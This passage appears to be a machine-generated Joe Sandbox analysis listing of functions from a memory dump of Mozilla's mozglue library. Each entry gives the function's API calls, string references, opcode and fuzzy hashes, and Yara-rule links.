Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction ID: 37056422203d542312f73db08791f16c3d8635f9fd490470ecfef97f7501e69f
Opcode Fuzzy Hash: bde2914b230708ec333edf2da442098fa2ffc8ec3e3d8488a5b697087bd924fa
Instruction Fuzzy Hash: 80A16A70A05605CFDB14CF29C984A99FBF5BF49304F5486AED44AA7B40D730BA95CF90

Function 6C9B14A0 Relevance: 9.2, APIs: 6, Instructions: 176threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9B14C5
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9B14E2
GetCurrentThreadId.KERNEL32 ref: 6C9B1546
InitializeConditionVariable.KERNEL32(?), ref: 6C9B15BA
free.MOZGLUE(?), ref: 6C9B16B4

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction ID: 5603e48839bfa033874eb59e7bb1d8b95b75ccec8b4ea55c9fd9923afc74763e
Opcode Fuzzy Hash: 770ed80ba0c0b4aa20744db873b38cabef78ec103e14aba8f224427342d16040
Instruction Fuzzy Hash: 8561DF72A05700EBDB118F64C880BDEB7B5BF9A308F04851CED8A67711DB31E999CB91

Function 6C9A9F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9A9FDB
free.MOZGLUE(?,?), ref: 6C9A9FF0
free.MOZGLUE(?,?), ref: 6C9AA006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C9AA0BE
free.MOZGLUE(?,?), ref: 6C9AA0D5
free.MOZGLUE(?,?), ref: 6C9AA0EB

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction ID: e92d98efe0ba971143f20b948222a7e7f1b7473426a01bcc9f839b9d99cffe8e
Opcode Fuzzy Hash: 6010b17c64fdc12d60f86bdafdcb9194a1e10ec7c5018c29ffbb07ec0987e6d3
Instruction Fuzzy Hash: 6261DF754096019FC751CF58C48059AB3F5FF98328F148669E8999B702EB32E986CFD1

Function 6C9ADC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9ADC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C9AD38A,?), ref: 6C9ADC6F
free.MOZGLUE(?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C9AD38A,?), ref: 6C9ADCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C9AD38A,?), ref: 6C9ADD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C9AD38A,?), ref: 6C9ADD4A

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction ID: 935987abb3a558640313b70b9eca53db3ade4ce5fc80780065d94d58081a4af8
Opcode Fuzzy Hash: 24dc189e55704bb509b1dec34db959b011ff9ef85d3745b0e5c29eb4621a213f
Instruction Fuzzy Hash: 52419CB6A00605DFCB00CF99C88099AB7F5FF98304B654469DD05ABB10D731FC01CBA0

Function 6C996590 Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 342COMMON

Download Yara Rule

APIs

Part of subcall function 6C98FA80: GetCurrentThreadId.KERNEL32 ref: 6C98FA8D
Part of subcall function 6C98FA80: AcquireSRWLockExclusive.KERNEL32(6C9DF448), ref: 6C98FA99

ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C996727
?GetOrAddIndex@UniqueJSONStrings@baseprofiler@mozilla@@AAEIABV?$Span@$$CBD$0PPPPPPPP@@3@@Z.MOZGLUE(?,?,?,?,?,?,?,00000001), ref: 6C9967C8

Part of subcall function 6C9A4290: memcpy.VCRUNTIME140(?,?,6C9B2003,6C9B0AD9,?,6C9B0AD9,00000000,?,6C9B0AD9,?,00000004,?,6C9B1A62,?,6C9B2003,?), ref: 6C9A42C4

Strings

data, xrefs: 6C996593

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentIndex@P@@3@@ReleaseSpan@$$Strings@baseprofiler@mozilla@@ThreadUniquememcpy
String ID: data
API String ID: 511789754-2918445923
Opcode ID: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction ID: ab996b97badea893eaba6de8e0d50924e7c97fa7344ac8d40f2b1daa6674e183
Opcode Fuzzy Hash: 05005de064831a547376c7b9aa1fad48b7a46f93473802ac7ffeaa75292965f9
Instruction Fuzzy Hash: 48D1DF71A093408FD764CF25C841B9FB7E5AFE5308F14892DE48997B91DB30E949CB92

Function 6C9AC810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C9AC82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C9AC842

Part of subcall function 6C9ACAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C9CB5EB,00000000), ref: 6C9ACB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C9AC863
std::_Facet_Register.LIBCPMT ref: 6C9AC875

Part of subcall function 6C98B13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C9CB636,?), ref: 6C98B143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C9AC89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C9AC8BC

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction ID: de425f6e6c87dabd49fb10cc3ef8815e54e3b4c49c74c4dc543ed5eed866ae8f
Opcode Fuzzy Hash: b4778fe9476e8610c3c7196cac04df22de242c41e3559b0939326dd95945073c
Instruction Fuzzy Hash: BB11B675B046099BCB04DFA4C8899AE7BB9FF99354B200529E606AB340DB31E945CB91

Function 6C98D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6C95EB57,?,?,?,?,?,?,?,?,?), ref: 6C98D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C95EB57,?), ref: 6C98D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C95EB57,?), ref: 6C98D673
free.MOZGLUE(?), ref: 6C98D888

Strings

|Enabled, xrefs: 6C98D81E

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction ID: ae2d65971eccd17b55a861f867e3a7f3383b642317c9b2e2e44136f856ecc815
Opcode Fuzzy Hash: 33468bac1b7514cb4f5a643a888b86f8c67de4f6b023000ef00606f19ac7c165
Instruction Fuzzy Hash: E4A136B1A063099FDF00CF69C4907AEBBF5AF59318F58845ED885ABB41C731E845CBA1

Function 6C98F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C98F480

Part of subcall function 6C95F100: LoadLibraryW.KERNEL32(shell32,?,6C9CD020), ref: 6C95F122
Part of subcall function 6C95F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C95F132

CloseHandle.KERNEL32(00000000), ref: 6C98F555

Part of subcall function 6C9614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C961248,6C961248,?), ref: 6C9614C9
Part of subcall function 6C9614B0: memcpy.VCRUNTIME140(?,6C961248,00000000,?,6C961248,?), ref: 6C9614EF

Part of subcall function 6C95EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C95EEE3

CreateFileW.KERNEL32 ref: 6C98F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C98F523

Strings

\oleacc.dll, xrefs: 6C98F4CB

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction ID: 0ac2ddd907ca895738686994e4bbb0b9dbe59f323118e3fff43de7bcabe9210d
Opcode Fuzzy Hash: d518d01f0ca43661939582b4f88c497fc29ee32d89852733bd1881840c03363d
Instruction Fuzzy Hash: AF41A2306097119FE720DF69D884AAAB7F4AF55318F501E1CF59193690EB30E989CB92

Function 6C9B74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C9B7526
__Init_thread_footer.LIBCMT ref: 6C9B7566
__Init_thread_footer.LIBCMT ref: 6C9B7597

Strings

UnmapViewOfFile2, xrefs: 6C9B7552
kernel32.dll, xrefs: 6C9B7557

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction ID: 1df685725a88da7efbf8f0a152a9759a783a643af78f7bd8d018545e3b842531
Opcode Fuzzy Hash: 23557f1d40be708f6bbc2a2792f37a9c9aaed32311ae154127c9057c78e59403
Instruction Fuzzy Hash: C5210631705901B7CB148BE88815EDA73B6EB97B29B158629D40177B80CB31FA4585B1

Function 6C9BA7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C9DF770,-00000001,?,6C9CE330,?,6C97BDF7), ref: 6C9BA7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C97BDF7), ref: 6C9BA7C2
moz_xmalloc.MOZGLUE(00000018,?,6C97BDF7), ref: 6C9BA7E4
LeaveCriticalSection.KERNEL32(6C9DF770), ref: 6C9BA80A

Strings

accelerator.dll, xrefs: 6C9BA7BF

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction ID: da276d4acd9729df64fabebca267984064de832ef571fb0321f01453ca5f3ecf
Opcode Fuzzy Hash: ba91293ecb05d7c24d36abeef0107773f84bab4f44c617514d488f4734f6b4d5
Instruction Fuzzy Hash: 38018FB0608604AFDB04DF55D8C5C5277B8FB89B59715806AE809EB741DB70E800CBA1

Function 6C95F0A0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 26libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ole32,?,6C95EE51,?), ref: 6C95F0B2
GetProcAddress.KERNEL32(00000000,CoTaskMemFree), ref: 6C95F0C2

Strings

Could not load ole32 - will not free with CoTaskMemFree, xrefs: 6C95F0DC
ole32, xrefs: 6C95F0AD
Could not find CoTaskMemFree, xrefs: 6C95F0E3

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Could not find CoTaskMemFree$Could not load ole32 - will not free with CoTaskMemFree$ole32
API String ID: 2574300362-1578401391
Opcode ID: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction ID: 6819c9be832eed6dc8d85ec8aa52ad2e586d394a04d03ddbb0110f4c2f98bedb
Opcode Fuzzy Hash: 4b75fef05408374ca99fac264195139c11a3a77d7403fc1ba8592179dcadbaf8
Instruction Fuzzy Hash: 79E0D872348B06DBEF049B72980962737BC5B6322D368C429F602F2E40EE21F020C661

Function 6C990080 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967204), ref: 6C990088
GetProcAddress.KERNEL32(00000000,CryptCATAdminAcquireContext2), ref: 6C9900A7
FreeLibrary.KERNEL32(?,6C967204), ref: 6C9900BE

Strings

CryptCATAdminAcquireContext2, xrefs: 6C9900A1
wintrust.dll, xrefs: 6C990083

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminAcquireContext2$wintrust.dll
API String ID: 145871493-3385133079
Opcode ID: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction ID: d20e3e39dbff9f72cfa1bae2feb4fb00dd4a293afe26231eb3821f57ad67d7e0
Opcode Fuzzy Hash: 55225c4d0e2523e96eecc38002d6bebc24c59a197e5e7a85dcea9ce664e9ddae
Instruction Fuzzy Hash: BEE09A78648B45ABDF00AF6598097017AF8AB0B749F288465A926E2650DB74F0C0DF62

Function 6C9900D0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 20libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C967235), ref: 6C9900D8
GetProcAddress.KERNEL32(00000000,CryptCATAdminCalcHashFromFileHandle2), ref: 6C9900F7
FreeLibrary.KERNEL32(?,6C967235), ref: 6C99010E

Strings

CryptCATAdminCalcHashFromFileHandle2, xrefs: 6C9900F1
wintrust.dll, xrefs: 6C9900D3

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: CryptCATAdminCalcHashFromFileHandle2$wintrust.dll
API String ID: 145871493-2559046807
Opcode ID: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction ID: a18ac8204e8f5146c85344b5b34ff8ae283b667bb3cd655677d721eba4ac65be
Opcode Fuzzy Hash: e40693f4fa2832d51e5d9d63547323e5665aebf4246078aeb5eecd231ea008e3
Instruction Fuzzy Hash: 9DE04F7024DB069BEF005F65C90A7213AFCA707249F349065AA5BB2700DB70F1D0CB62

Function 6C9BC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9BC0E9), ref: 6C9BC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C9BC437
FreeLibrary.KERNEL32(?,6C9BC0E9), ref: 6C9BC44C

Strings

ntdll.dll, xrefs: 6C9BC413
NtQueryVirtualMemory, xrefs: 6C9BC431

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction ID: 26514dfef8388c21d50cdb00729a29e21d8465bd9fc3025292338e675392cd70
Opcode Fuzzy Hash: 75447116e7f84d1ba79c2c520b1632e2762e3c57e17d798dad06c88f4c80e2b4
Instruction Fuzzy Hash: B2E0B678609B02ABDF00BF71C9197127BF8A74664DF244556AA06B2750EBB0F1C0CBA2

Function 6C9B75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B748B,?), ref: 6C9B75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C9B75D7
FreeLibrary.KERNEL32(?,6C9B748B,?), ref: 6C9B75EC

Strings

RtlNtStatusToDosError, xrefs: 6C9B75D1
ntdll.dll, xrefs: 6C9B75B3

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction ID: 40df59ded1a13b81030f65468bd256df80f8dbf679591a478ff7ba88c2647446
Opcode Fuzzy Hash: eb2c4b00dbded57a71e5562010aad004f3ad21e1dd7e22e8143ede82e691d04b
Instruction Fuzzy Hash: 10E0BF71608B02BBDF005FE1C9497827AF8E74665DF309525A915F6640DBB0F2C5CF60

Function 6C9B7600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C9B7592), ref: 6C9B7608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C9B7627
FreeLibrary.KERNEL32(?,6C9B7592), ref: 6C9B763C

Strings

NtUnmapViewOfSection, xrefs: 6C9B7621
ntdll.dll, xrefs: 6C9B7603

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction ID: 08fa2da5de14ba76223e689c1432a0da4e80ddd1b354ecd020877e9e2c025a77
Opcode Fuzzy Hash: a3c78e7a0c4b1b37242d1c006560e891df1f3268808147cad3daf989c851b670
Instruction Fuzzy Hash: EEE0BF70609F42ABDF005FE5D8097467AB8E75679DF208519E905F2740EB70F0848F65

Function 6C9BBE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C9BBE49), ref: 6C9BBEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C9BBEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C9BBE49), ref: 6C9BBF38
RtlReAllocateHeap.NTDLL ref: 6C9BBF83
RtlFreeHeap.NTDLL ref: 6C9BBFA6

Memory Dump Source

Source File: 00000000.00000002.2713864890.000000006C951000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C950000, based on PE: true

Associated: 00000000.00000002.2713828211.000000006C950000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713962491.000000006C9CD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2713995476.000000006C9DE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2714033982.000000006C9E2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c950000_file.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction ID: d2fb92434c0f73e8a4868eef144d7f2d3d94a70513ed11d55859f9e572d3dbfc
Opcode Fuzzy Hash: fac1ea168fb539be759c728daa2a1a4bc70a7676fafcdf65d9227617447c575e
Instruction Fuzzy Hash: CA51AC71A002029FE710DF69CCC0BABB7B6FF98314F284629D515A7B94D730F9168B81

Function 6C9A8E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C99B58D,?,?,?,?,?,?,?,6C9CD734,?,?,?,6C9CD734), ref: 6C9A8E6E
